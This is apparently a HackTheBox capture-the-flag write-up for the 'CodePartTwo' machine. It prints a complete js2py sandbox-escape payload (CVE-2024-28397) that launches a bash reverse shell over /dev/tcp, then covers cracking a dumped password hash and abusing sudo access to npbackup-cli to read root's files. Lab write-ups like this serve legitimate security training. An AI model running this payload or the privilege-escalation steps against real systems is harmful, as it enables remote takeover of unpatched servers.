Machine - CodePartTwo (Easy)
Hello everyone, today I am writing a write-up for the CodePartTwo machine on HackTheBox. It featured a vulnerable Js2Py library within a Flask application that allowed for a sandbox escape and then Remote Code Execution.
Initial nmap Scan:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-01 17:17 CET
Nmap scan report for 10.129.232.59
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds
Now, as you can see, we only have SSH and HTTP 8000 open. When we visit the web app we can see this:
When we download the app, we can see it’s a Flask Web App. If we check the requirements.txt file for libraries that are included in the application:
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
It contains a vulnerable version of js2py to CVE-2024–28397.
After we register and log in on the web app, there is a Code Editor that allows us to run JavaScript code, we can read the source code from the zip of the app we downloaded, but it was pretty obvious that here is the place where the vulnerable
version of js2py to sandbox-escape is being used.
I used the publicly available code for the sandbox-escape to get the revershe shell:
let cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/{YOUR_IP}/{LISTENER_PORT} 0>&1'"
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(result)
result
Now obviously we have the shell as app. We need to escalate the privileges further for the normal user to get the user flag.
If we check the ~/app/instance directory, we can see there is a users.db file, when we open the file, we can see there is a user table, now we select all the users from there:
SELECT * FROM user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
We just have to crack the hash for marco user on crackstation, so we can ssh into the machine as marco to get the user flag.
marco@codeparttwo:~$ ls
backups npbackup.conf user.txt
marco@codeparttwo:~$ cat user.txt
<REDACTED>
Onto privilege escalation to root, we check which files we can run with sudo:
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
This is good, we already have the configuration file in our home directory which points the path to /home/app/app . Now we can just create another copy of the configuration file which points to the /root and run the backup with sudo.
marco@codeparttwo:~$ cat npbackuproot.conf
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /root
source_type: folder_list
exclude_files_larger_than: 0.0
repo_opts:
repo_password:
__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
retention_policy: {}
prune_max_unused: 0
prometheus: {}
env: {}
is_protected: false
...LOT MORE
sudo /usr/local/bin/npbackup-cli -c npbackuproot.conf -b -f
Succesful, now we can just dump the root flag:
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackuproot.conf --dump /root/root.txt
<REDACTED>